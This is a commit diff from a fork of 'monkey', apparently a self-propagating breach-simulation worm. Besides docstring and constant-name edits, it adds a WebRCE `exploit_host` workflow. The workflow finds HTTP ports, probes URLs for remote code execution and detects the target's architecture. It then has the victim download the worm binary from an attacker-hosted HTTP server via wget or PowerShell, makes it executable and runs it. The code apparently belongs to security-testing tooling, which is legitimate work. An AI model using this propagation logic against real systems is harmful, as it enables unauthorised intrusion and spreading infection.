forked from p34709852/monkey
Notes fixed v.2
This commit is contained in:
parent
0d45a44d6b
commit
b8bda692b9
|
@ -393,10 +393,9 @@ class HTTPTools(object):
|
||||||
Create http server for file transfer with a lock
|
Create http server for file transfer with a lock
|
||||||
:param host: Variable with target's information
|
:param host: Variable with target's information
|
||||||
:param src_path: Monkey's path on current system
|
:param src_path: Monkey's path on current system
|
||||||
:param lock: Instance of lock
|
:param local_ip: IP where to host server
|
||||||
:param local_ip:
|
:param local_port: Port at which to host monkey's download
|
||||||
:param local_port:
|
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
|
||||||
:return:
|
|
||||||
"""
|
"""
|
||||||
# To avoid race conditions we pass a locked lock to http servers thread
|
# To avoid race conditions we pass a locked lock to http servers thread
|
||||||
lock = Lock()
|
lock = Lock()
|
||||||
|
@ -514,22 +513,22 @@ def get_monkey_depth():
|
||||||
return WormConfiguration.depth
|
return WormConfiguration.depth
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_dest_path(src_path):
|
def get_monkey_dest_path(url_to_monkey):
|
||||||
"""
|
"""
|
||||||
Gets destination path from source path.
|
Gets destination path from source path.
|
||||||
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
|
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||||
:return: Corresponding monkey path from configuration
|
:return: Corresponding monkey path from configuration
|
||||||
"""
|
"""
|
||||||
from config import WormConfiguration
|
from config import WormConfiguration
|
||||||
if not src_path or ('linux' not in src_path and 'windows' not in src_path):
|
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||||
LOG.error("Can't get destination path because source path %s is invalid.", src_path)
|
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||||
return False
|
return False
|
||||||
try:
|
try:
|
||||||
if 'linux' in src_path:
|
if 'linux' in url_to_monkey:
|
||||||
return WormConfiguration.dropper_target_path_linux
|
return WormConfiguration.dropper_target_path_linux
|
||||||
elif 'windows-32' in src_path:
|
elif 'windows-32' in url_to_monkey:
|
||||||
return WormConfiguration.dropper_target_path_win_32
|
return WormConfiguration.dropper_target_path_win_32
|
||||||
elif 'windows-64' in src_path:
|
elif 'windows-64' in url_to_monkey:
|
||||||
return WormConfiguration.dropper_target_path_win_64
|
return WormConfiguration.dropper_target_path_win_64
|
||||||
else:
|
else:
|
||||||
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||||
|
|
|
@ -1,6 +1,5 @@
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from threading import Lock
|
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from model import *
|
from model import *
|
||||||
from posixpath import join
|
from posixpath import join
|
||||||
|
@ -24,9 +23,50 @@ class WebRCE(HostExploiter):
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
|
||||||
@abstractmethod
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
raise NotImplementedError()
|
"""
|
||||||
|
Example workflow of the framework. Most likely you will have to override this method.
|
||||||
|
:return: True if exploited and False otherwise.
|
||||||
|
"""
|
||||||
|
# Get open ports
|
||||||
|
ports = self.get_ports_w(self.HTTP, ["http"])
|
||||||
|
if not ports:
|
||||||
|
return False
|
||||||
|
# Get urls to try to exploit
|
||||||
|
urls = self.build_potential_urls(ports)
|
||||||
|
vulnerable_urls = []
|
||||||
|
for url in urls:
|
||||||
|
if self.check_if_exploitable(url):
|
||||||
|
vulnerable_urls.append(url)
|
||||||
|
self._exploit_info['vulnerable_urls'] = vulnerable_urls
|
||||||
|
|
||||||
|
if not vulnerable_urls:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Skip if monkey already exists and this option is given
|
||||||
|
if self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Check for targets architecture (if it's 32 or 64 bit)
|
||||||
|
if not self.set_host_arch(vulnerable_urls[0]):
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Upload the right monkey to target
|
||||||
|
data = self.upload_monkey(vulnerable_urls[0])
|
||||||
|
|
||||||
|
if data is not False and data['response'] is False:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Change permissions to transform monkey into executable file
|
||||||
|
if self.change_permissions(vulnerable_urls[0], data['path']) is False:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Execute remote monkey
|
||||||
|
if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def exploit(self, url, command):
|
def exploit(self, url, command):
|
||||||
|
@ -34,7 +74,7 @@ class WebRCE(HostExploiter):
|
||||||
A reference to a method which implements web exploit logic.
|
A reference to a method which implements web exploit logic.
|
||||||
:param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
|
:param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
|
||||||
:param command: Command which will be executed on remote host
|
:param command: Command which will be executed on remote host
|
||||||
:return: Command's output string. Or True/False if it's a blind exploit
|
:return: RCE's output/True if successful or False if failed
|
||||||
"""
|
"""
|
||||||
raise NotImplementedError()
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
@ -123,7 +163,7 @@ class WebRCE(HostExploiter):
|
||||||
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
|
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
|
||||||
"""
|
"""
|
||||||
if 'linux' in self.host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
resp = self.exploit(url, ARCH_LINUX)
|
resp = self.exploit(url, GET_ARCH_LINUX)
|
||||||
if resp:
|
if resp:
|
||||||
# Pulls architecture string
|
# Pulls architecture string
|
||||||
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||||
|
@ -140,7 +180,7 @@ class WebRCE(HostExploiter):
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
resp = self.exploit(url, ARCH_WINDOWS)
|
resp = self.exploit(url, GET_ARCH_WINDOWS)
|
||||||
if resp:
|
if resp:
|
||||||
if "64-bit" in resp:
|
if "64-bit" in resp:
|
||||||
return "64"
|
return "64"
|
||||||
|
@ -224,10 +264,9 @@ class WebRCE(HostExploiter):
|
||||||
LOG.error("Unknown target's os type. Skipping.")
|
LOG.error("Unknown target's os type. Skipping.")
|
||||||
return False
|
return False
|
||||||
# Choose command:
|
# Choose command:
|
||||||
if commands:
|
if not commands:
|
||||||
command = self.get_command(path, http_path, commands)
|
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
|
||||||
else:
|
command = self.get_command(path, http_path, commands)
|
||||||
command = self.get_command(path, http_path, {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD})
|
|
||||||
|
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
|
|
||||||
|
|
|
@ -25,7 +25,7 @@ RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
# Commands used to check for architecture and if machine is exploitable
|
# Commands used to check for architecture and if machine is exploitable
|
||||||
CHECK_COMMAND = "echo %s" % ID_STRING
|
CHECK_COMMAND = "echo %s" % ID_STRING
|
||||||
# Architecture checking commands
|
# Architecture checking commands
|
||||||
ARCH_WINDOWS = "wmic os get osarchitecture"
|
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
|
||||||
ARCH_LINUX = "lscpu"
|
GET_ARCH_LINUX = "lscpu"
|
||||||
|
|
||||||
DOWNLOAD_TIMEOUT = 300
|
DOWNLOAD_TIMEOUT = 300
|
|
@ -187,6 +187,10 @@ class HTTPServer(threading.Thread):
|
||||||
class LockedHTTPServer(threading.Thread):
|
class LockedHTTPServer(threading.Thread):
|
||||||
"""
|
"""
|
||||||
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
|
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
|
||||||
|
You create a lock instance and pass it to this server's constructor. Then acquire the lock
|
||||||
|
before starting the server and after it. Once the server starts it will release the lock
|
||||||
|
and subsequent code will be able to continue to execute. That way subsequent code will
|
||||||
|
always call already running HTTP server
|
||||||
"""
|
"""
|
||||||
# Seconds to wait until server stops
|
# Seconds to wait until server stops
|
||||||
STOP_TIMEOUT = 5
|
STOP_TIMEOUT = 5
|
||||||
|
|
Loading…
Reference in New Issue